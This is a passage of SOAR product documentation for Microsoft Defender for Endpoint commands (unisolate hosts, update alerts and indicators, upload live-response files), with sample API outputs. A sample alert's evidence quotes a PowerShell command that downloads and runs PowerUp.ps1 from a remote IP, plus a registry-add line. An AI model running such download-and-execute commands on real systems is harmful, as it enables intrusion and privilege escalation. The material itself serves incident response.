        "type": "Unisolate",
        "requestor": "*****",
        "requestorComment": "Unisolate machine since it was clean and validated",
        "status": "Pending",
        "machineId": "*****",
        "computerDnsName": null,
        "creationDateTimeUtc": "2020-07-31T00:59:02.9643645Z",
        "lastUpdateDateTimeUtc": "2020-07-31T00:59:02.9643645Z",
        "cancellationRequestor": null,
        "cancellationComment": null,
        "cancellationDateTimeUtc": null,
        "errorHResult": 0,
        "scope": null,
        "externalId": ***,
        "requestSource": "PublicApi",
        "relatedFileInfo": null,
        "commands": []
    }
]
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "*****",
        "type": "Unisolate",
        "requestor": "*****",
        "requestorComment": "Unisolate machine since it was clean and validated",
        "status": "Pending",
        "machineId": "*****",
        "computerDnsName": null,
        "creationDateTimeUtc": "2020-07-31T00:59:02.7768376Z",
        "lastUpdateDateTimeUtc": "2020-07-31T00:59:02.7768376Z",
        "cancellationRequestor": null,
        "cancellationComment": null,
        "cancellationDateTimeUtc": null,
        "errorHResult": 0,
        "scope": null,
        "externalId": ***,
        "requestSource": "PublicApi",
        "relatedFileInfo": null,
        "commands": []
    },
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "*****",
        "type": "Unisolate",
        "requestor": "*****",
        "requestorComment": "Unisolate machine since it was clean and validated",
        "status": "Pending",
        "machineId": "*****",
        "computerDnsName": null,
        "creationDateTimeUtc": "2020-07-31T00:59:02.9643645Z",
        "lastUpdateDateTimeUtc": "2020-07-31T00:59:02.9643645Z",
        "cancellationRequestor": null,
        "cancellationComment": null,
        "cancellationDateTimeUtc": null,
        "errorHResult": 0,
        "scope": null,
        "externalId": ***,
        "requestSource": "PublicApi",
        "relatedFileInfo": null,
        "commands": []
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "Machine Ids": [
        "*****",
        "*****"
    ],
    "Record Ids": [
        "*****",
        "*****"
    ]
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

@ODATA.CONTEXT

https://api.***.com/api/***

https://api.***.com/api/***

ID

***

***

TYPE

***

Unisolate

REQUESTOR

Unisolate

***

REQUESTORCOMMENT

***

Unisolate machine since it was clean and validated

STATUS

Unisolate machine since it was clean and validated

Pending

MACHINEID

Pending

***

COMPUTERDNSNAME

***

CREATIONDATETIMEUTC

7/31/2020 12:59:02 AM

LASTUPDATEDATETIMEUTC

7/31/2020 12:59:02 AM

7/31/2020 12:59:02 AM

CANCELLATIONREQUESTOR

7/31/2020 12:59:02 AM

CANCELLATIONCOMMENT

CANCELLATIONDATETIMEUTC

ERRORHRESULT

0

SCOPE

0

EXTERNALID

REQUESTSOURCE

PublicApi

RELATEDFILEINFO

PublicApi

COMMANDS

[]

Error Handling

If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Unquarantine Hosts failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 400.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: Cannot unisolate a device that is unisolated.

Error Sample Data

Unquarantine Hosts failed.

Status Code: 400.

Message: Cannot unisolate a device that is unisolated.

Update Alert

Updates the properties of a specified existing alert.

READER NOTE

  • Alert ID is a required parameter to run this command.

    • Run the Fetch Event or Fetch Related Events command to obtain Alert IDs. You should already have your desired Alert IDs on hand to run this command. If you don’t, you may use the Fetch Event or Fetch Related Events command with defined filters to retrieve the desired Alert IDs. The Alert IDs can be found in the raw data at the path $.value[*].id.

  • Limitations for this command:

    • You can update alerts that are available in the API. For more information, see List Alerts.

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See Update alert from Microsoft’s documentation for more details.

Input

Input Parameter

Required /Optional

Description

Example

Alert ID

Required

The ID of the alert to update. Alert ID can be obtained using the Fetch Event or Fetch Related Events command.

*****_*****

Status

Required

The updated status of the alert. The available statuses are New, InProgress and Resolved.

Resolved

Assigned To

Optional

The owner of the alert.

***@example.com

Classification

Optional

The classification of the alert. The valid property values are Unknown, FalsePositive, and TruePositive.

FalsePositive

Determination

Optional

The determination of the alert. The valid property values are: NotAvailable, Apt, Malware, SecurityPersonnel, SecurityTesting, UnwantedSoftware, and Other.

Malware

Comment

Optional

A comment about the alert.

Resolve my alert and assign to secop2

Output

Return Data

Indicates one of the possible command execution states: Successful or Failed.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

CODE
Successful
Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
    "id": "*****",
    "incidentId": *****,
    "investigationId": *****,
    "assignedTo": "***@example.com",
    "severity": "Medium",
    "status": "Resolved",
    "classification": "FalsePositive",
    "determination": "Malware",
    "investigationState": "SuccessfullyRemediated",
    "detectionSource": "WindowsDefenderAtp",
    "category": "SuspiciousActivity",
    "threatFamilyName": null,
    "title": "A suspicious file was observed",
    "description": "This file exhibits behaviors or traits of malware. It might do one or more of the following: \n1. Give a remote attacker access to your PC. \n2. Download and install other malware. \n3. Record your keystrokes and the sites you visit. \n4. Send information about your PC, including user names, passwords and browsing history, to a remote malicious hacker. \n5. Use your computer for click-fraud, bitcoin mining, DDoS attacks and spamming.",
    "alertCreationTime": "2020-07-21T22:34:18.4813169Z",
    "firstEventTime": "2020-07-21T22:30:58.3016811Z",
    "lastEventTime": "2020-07-21T22:31:03.2234252Z",
    "lastUpdateTime": "2020-07-31T17:55:49.9533333Z",
    "resolvedTime": "2020-07-21T22:51:30.253033Z",
    "machineId": "*****",
    "computerDnsName": "*****-*****-*****",
    "rbacGroupName": null,
    "aadTenantId": "*****",
    "mitreTechniques": [],
    "relatedUser": {
        "userName": "***",
        "domainName": "***"
    },
    "comments": [
        {
            "comment": "Resolve my alert and assign to secop2",
            "createdBy": "Automation",
            "createdTime": "2020-07-28T22:17:20.8021946Z"
        },
        {
            "comment": "Resolve my alert and assign to secop2",
            "createdBy": "Automation",
            "createdTime": "2020-07-31T00:38:11.3857592Z"
        },
        {
            "comment": "Resolve my alert and assign to secop2",
            "createdBy": "Automation",
            "createdTime": "2020-07-31T01:00:42.8443678Z"
        },
        {
            "comment": "Resolve my alert and assign to secop2",
            "createdBy": "Automation",
            "createdTime": "2020-07-31T17:55:49.9543967Z"
        }
    ],
    "evidence": [
        {
            "entityType": "Process",
            "sha1": "*****",
            "sha256": "*****",
            "fileName": "***.exe",
            "filePath": "C:\\Windows",
            "processId": ***,
            "processCommandLine": "\"***.exe\" ",
            "processCreationTime": "2020-07-21T22:30:57.1560671Z",
            "parentProcessId": ***,
            "parentProcessCreationTime": "2020-07-21T22:30:55.1592591Z",
            "ipAddress": ***,
            "url": ***,
            "registryKey": ***,
            "registryHive": ***,
            "registryValueType": null,
            "registryValue": null,
            "accountName": ***,
            "domainName": ***,
            "userSid": ***,
            "aadUserId": ***,
            "userPrincipalName": null
        },
        {
            "entityType": "Process",
            "sha1": "*****",
            "sha256": "*****",
            "fileName": "***.exe",
            "filePath": "C:\\Windows",
            "processId": ***,
            "processCommandLine": "\"***.exe\" -exec bypass -command \"IEX (New-Object Net.WebClient).DownloadString('***.***.***.***/***.ps1'); Get-ServiceUnquoted \" >c:\\windows\\***.txt",
            "processCreationTime": "2020-07-21T22:31:01.4107316Z",
            "parentProcessId": *****,
            "parentProcessCreationTime": "2020-07-21T22:30:57.1560671Z",
            "ipAddress": ***,
            "url": ***,
            "registryKey": ***,
            "registryHive": ***,
            "registryValueType": null,
            "registryValue": null,
            "accountName": ***,
            "domainName": ***,
            "userSid": ***,
            "aadUserId": ***,
            "userPrincipalName": null
        }
    ]
}
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
    "id": "*****",
    "incidentId": ***,
    "investigationId": ***,
    "assignedTo": "***@example.com",
    "severity": "Medium",
    "status": "Resolved",
    "classification": "FalsePositive",
    "determination": "Malware",
    "investigationState": "SuccessfullyRemediated",
    "detectionSource": "WindowsDefenderAtp",
    "category": "SuspiciousActivity",
    "threatFamilyName": null,
    "title": "A suspicious file was observed",
    "description": "This file exhibits behaviors or traits of malware. It might do one or more of the following: \n1. Give a remote attacker access to your PC. \n2. Download and install other malware. \n3. Record your keystrokes and the sites you visit. \n4. Send information about your PC, including user names, passwords and browsing history, to a remote malicious hacker. \n5. Use your computer for click-fraud, bitcoin mining, DDoS attacks and spamming.",
    "alertCreationTime": "2020-07-21T22:34:18.4813169Z",
    "firstEventTime": "2020-07-21T22:30:58.3016811Z",
    "lastEventTime": "2020-07-21T22:31:03.2234252Z",
    "lastUpdateTime": "2020-07-31T17:55:49.9533333Z",
    "resolvedTime": "2020-07-21T22:51:30.253033Z",
    "machineId": "*****",
    "computerDnsName": "***-***-***",
    "rbacGroupName": null,
    "aadTenantId": "*****",
    "mitreTechniques": [],
    "relatedUser": {
        "userName": "***",
        "domainName": "***"
    },
    "comments": [
        {
            "comment": "Resolve my alert and assign to secop2",
            "createdBy": "Automation",
            "createdTime": "2020-07-28T22:17:20.8021946Z"
        },
        {
            "comment": "Resolve my alert and assign to secop2",
            "createdBy": "Automation",
            "createdTime": "2020-07-31T00:38:11.3857592Z"
        },
        {
            "comment": "Resolve my alert and assign to secop2",
            "createdBy": "Automation",
            "createdTime": "2020-07-31T01:00:42.8443678Z"
        },
        {
            "comment": "Resolve my alert and assign to secop2",
            "createdBy": "Automation",
            "createdTime": "2020-07-31T17:55:49.9543967Z"
        }
    ],
    "evidence": [
        {
            "entityType": "Process",
            "sha1": "*****",
            "sha256": "*****",
            "fileName": "***.exe",
            "filePath": "C:\\Windows",
            "processId": ***,
            "processCommandLine": "\"***.exe\" ",
            "processCreationTime": "2020-07-21T22:30:57.1560671Z",
            "parentProcessId": ***,
            "parentProcessCreationTime": "2020-07-21T22:30:55.1592591Z",
            "ipAddress": ***,
            "url": ***,
            "registryKey": ***,
            "registryHive": ***,
            "registryValueType": null,
            "registryValue": null,
            "accountName": ***,
            "domainName": ***,
            "userSid": ***,
            "aadUserId": ***,
            "userPrincipalName": null
        },
        {
            "entityType": "Process",
            "sha1": "*****",
            "sha256": "*****",
            "fileName": "***.exe",
            "filePath": "C:\\Windows\\***\\v*.*",
            "processId": 4280,
            "processCommandLine": "\"***.exe\" -exec bypass -command \"IEX (New-Object Net.WebClient).DownloadString('***.***.***.***/PowerUp.ps1'); Get-ServiceUnquoted \" >c:\\windows\\***.txt",
            "processCreationTime": "2020-07-21T22:31:01.4107316Z",
            "parentProcessId": 4748,
            "parentProcessCreationTime": "2020-07-21T22:30:57.1560671Z",
            "ipAddress": ***,
            "url": ***,
            "registryKey": ***,
            "registryHive": ***,
            "registryValueType": null,
            "registryValue": null,
            "accountName": ***,
            "domainName": ***,
            "userSid": ***,
            "aadUserId": ***,
            "userPrincipalName": null
        }
    ]
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

@odata.context

https://api.***.com/api/***

id

**********

incidentId

**********

investigationId

**********

assignedTo

***@example.com

severity

Medium

status

Resolved

classification

FalsePositive

determination

Malware

investigationState

SuccessfullyRemediated

detectionSource

WindowsDefenderAtp

category

SuspiciousActivity

threatFamilyName

title

A suspicious file was observed

description

This file exhibits behaviors or traits of malware. It might do one or more of the following:

  1. Give a remote attacker access to your PC.

  2. Download and install other malware.

  3. Record your keystrokes and the sites you visit.

  4. Send information about your PC, including user names, passwords and browsing history, to a remote malicious hacker.

  5. Use your computer for click-fraud, bitcoin mining, DDoS attacks and spamming.

alertCreationTime

7/21/2020 10:34:18 PM

firstEventTime

7/21/2020 10:30:58 PM

lastEventTime

7/21/2020 10:31:03 PM

lastUpdateTime

7/31/2020 5:55:49 PM

resolvedTime

7/21/2020 10:51:30 PM

machineId

473c3fe56bbb0e57f46ff298a5d0c52491820ba5

computerDnsName

d3cyber-defender-cient

rbacGroupName

aadTenantId

91e67714-ed9f-435e-9ee4-9dedd96ceeb7

mitreTechniques

relatedUser

{

";userName";: ";Administrator";,

";domainName";: ";D3CYBER-DEFENDE";

}

comments

  • {

    ";comment";: ";Resolve my alert and assign to secop2";,

    ";createdBy";: ";Automation";,

    ";createdTime";: ";2020-07-28T22:17:20.8021946Z";

    }

  • {

    ";comment";: ";Resolve my alert and assign to secop2";,

    ";createdBy";: ";Automation";,

    ";createdTime";: ";2020-07-31T00:38:11.3857592Z";

    }

  • {

    ";comment";: ";Resolve my alert and assign to secop2";,

    ";createdBy";: ";Automation";,

    ";createdTime";: ";2020-07-31T01:00:42.8443678Z";

    }

  • {

    ";comment";: ";Resolve my alert and assign to secop2";,

    ";createdBy";: ";Automation";,

    ";createdTime";: ";2020-07-31T17:55:49.9543967Z";

    }

evidence

  • {

    ";entityType";: ";Process";,

    ";sha1";: ";*****";,

    ";sha256";: ";*****";,

    ";fileName";: ";***.exe";,

    ";filePath";: ";C:\\Windows";,

    ";processId";: ***,

    ";processCommandLine";: ";\";***.exe\"; ";,

    ";processCreationTime";: ";2020-07-21T22:30:57.1560671Z";,

    ";parentProcessId";: 484,

    ";parentProcessCreationTime";: ";2020-07-21T22:30:55.1592591Z";,

    ";ipAddress";: ***,

    ";url";: ***,

    ";registryKey";: ***,

    ";registryHive";: ***,

    ";registryValueType";: null,

    ";registryValue";: null,

    ";accountName";: ***,

    ";domainName";: ***,

    ";userSid";: ***,

    ";aadUserId";: ***,

    ";userPrincipalName";: null

    }

  • {

    ";entityType";: ";Process";,

    ";sha1";: ";*****";,

    ";sha256";: ";*****";,

    ";fileName";: ";***.exe";,

    ";filePath";: ";C:\\Windows\\***\\***\\v*.*";,

    ";processId";: *****,

    ";processCommandLine";: ";\";powershell.exe\"; -exec bypass -command \";IEX (New-Object Net.WebClient).DownloadString('***.***.***.***/***.ps1'); Get-ServiceUnquoted \"; >c:\\windows\\***.txt";,

    ";processCreationTime";: ";2020-07-21T22:31:01.4107316Z";,

    ";parentProcessId";: ***,

    ";parentProcessCreationTime";: ";2020-07-21T22:30:57.1560671Z";,

    ";ipAddress";: ***,

    ";url";: ***,

    ";registryKey";: ***,

    ";registryHive";: ***,

    ";registryValueType";: null,

    ";registryValue";: null,

    ";accountName";: ***,

    ";domainName";: ***,

    ";userSid";: ***,

    ";aadUserId";: ***,

    ";userPrincipalName";: null

    }

  • {

    ";entityType";: ";Process";,

    ";sha1";: ";*****";,

    ";sha256";: ";*****";,

    ";fileName";: ";***.exe";,

    ";filePath";: ";C:\\Windows\\***";,

    ";processId";: 2800,

    ";processCommandLine";: ";\";reg.exe\"; add HKLM\\***\\***\\***\\***\\***/***/*** C:\\Windows\\***.exe /f";,

    ";processCreationTime";: ";2020-07-21T22:30:58.2408398Z";,

    ";parentProcessId";: ***,

    ";parentProcessCreationTime";: ";2020-07-21T22:30:57.1560671Z";,

    ";ipAddress";: ***,

    ";url";: ***,

    ";registryKey";: ***,

    ";registryHive";: ***,

    ";registryValueType";: null,

    ";registryValue";: null,

    ";accountName";: ***,

    ";domainName";: ***,

    ";userSid";: ***,

    ";aadUserId";: ***,

    ";userPrincipalName";: null

    }

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Update Alert failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 401.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: Invalid Authorization payload.

Error Sample Data

Update Alert failed.

Status Code: 401.

Message: Invalid Authorization payload.

Update Indicator V2

Updates a specific indicator identified by its indicator ID.

READER NOTE

  • Indicator ID is a required parameter to run this command.

    • Run the List Indicator command to obtain the Indicator ID. Indicator IDs can be found in the raw data at the path $.value[*].id.

  • Limitations for this command:

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

    • There's a limit of 15,000 active indicators per tenant.

Input

Input Parameter

Required/Optional

Description

Example

Indicator ID

Required

The ID of the Indicator entity to update. Indicator ID can be obtained using the List Indicator command.

798

Action

Optional

The action to be taken if the indicator is detected within the organization. Available actions include Warn, Block, Audit, Block And Remediate, Alert, Alert And Block, and Allowed. When the Alert action is selected, the effective action will be Audit, and GenerateAlert will be set to True. When the Alert And Block action is selected, the effective action will be Block, and GenerateAlert will be set to True. 

AlertAndBlock

Application

Optional

The application associated with the indicator.

WebServer apache

Title

Optional

The updated indicator alert title.

test-2024a

Description

Optional

The updated description of the indicator. 

test-update2024a

Expiration Time 

Optional

The updated expiration time of the indicator.

2024-10-01T00:00:00Z

Severity 

Optional

The updated severity of the indicator. The available input options are Informational, Low, Medium, and High.

High

Recommended Actions 

Optional

The updated recommended actions for addressing the indicator alert.

Monitoring

RBAC Group Names

Optional

The comma-separated list of updated RBAC group names to apply the indicator to. The input RBAC device groups are where the indicator will be exposed and active. The indicators created for some target groups will be exposed to all devices in the group. Leave this parameter empty if you want to avoid unwanted access exposure. RBAC group names can be found on the Microsoft Defender for Endpoint platform under Permissions > Device groups.

[

    "group1",

    "group2"

]

Output

Return Data

Indicates one of the possible command execution states: Successful or Failed.The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
No Sample Data
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

CODE
No Sample Data

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Update Alert failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 400.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: Failed to get Access Token.

Error Sample Data

Update Alert failed.

Status Code: 400.

Message: Failed to get Access Token.

Upload File To Live Response Library

Uploads files to the live response library. Please note that the maximum file size limit is 20 MB.

READER NOTE

File ID and File Source

It is not recommended to use the Test Command feature with the Submit Sample Files command as it is designed for dynamic input files in Playbooks, Incident Attachments, and Artifact Attachments. There is a simple workaround to test the command:

  1. Navigate to Configuration on the top bar menu.

  2. Click Utility Commands on the left sidebar menu.

  3. Use the search box to find and select the Create a File from input Text Array command.

  4. Select the Test tab, then input the required information for the parameters. Click Test Command. A D3 File ID will appear in the output data after the file has been successfully created.
    (Note: The D3 File Source of the created file will be Playbook File)

Input

Input Parameter

Required/Optional

Description

Example

File ID

Required

The file ID of the file to be uploaded to the live response library.

d3security.com 

File Source

Required

The file source of the file to be uploaded to the live response library. The options for file sources are: 

  • Incident Attachment File: Manually uploaded file from Incident

  • Playbook File: Output from another Task

  • Artifact File: Ingested Artifact in an Event

DomainName 

File Description

Required

The description of the file to be uploaded.

test description 0926c

Has Parameters

Optional

Indicates whether the script file to be uploaded includes parameters.

True

Parameters Description

Optional

The parameters required for the script to run. The default value is an empty string.

how to use parameter

Override If Exists

Optional

Specifies whether to override the file if it already exists. If not specified, the default value is False.

True

Output

Return Data

Indicates one of the possible command execution states: Successful or Failed.

The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/*****",
    "fileName": "miniDump_926d.ps1",
    "sha256": "*****",
    "description": "test description 0926c",
    "creationTime": "2023-09-26T23:06:34.621625Z",
    "lastUpdatedTime": "2023-09-26T23:06:34.621625Z",
    "createdBy": "*****",
    "hasParameters": true,
    "parametersDescription": "how to use parameters"
}
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.

The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
  "FileName": miniDump_926d.ps1,
  "Descriptions": test description 0926c
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

@odata.context

https://api.securitycenter.microsoft.com/api/*****

fileName

miniDump_926d.ps1

sha256

*****

description

test description 0926c

creationTime

2023-09-26T23:06:34.621625Z

lastUpdatedTime

2023-09-26T23:06:34.621625Z

createdBy

*****

hasParameters

True

parametersDescription

how to use parameters

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Update Indicator failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 400.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: Failed to get Access Token.

Error Sample Data

Update Indicator failed.

Status Code: 400.

Message: Failed to get Access Token.

JavaScript errors detected

Please note, these errors can depend on your browser setup.

If this problem persists, please contact our support.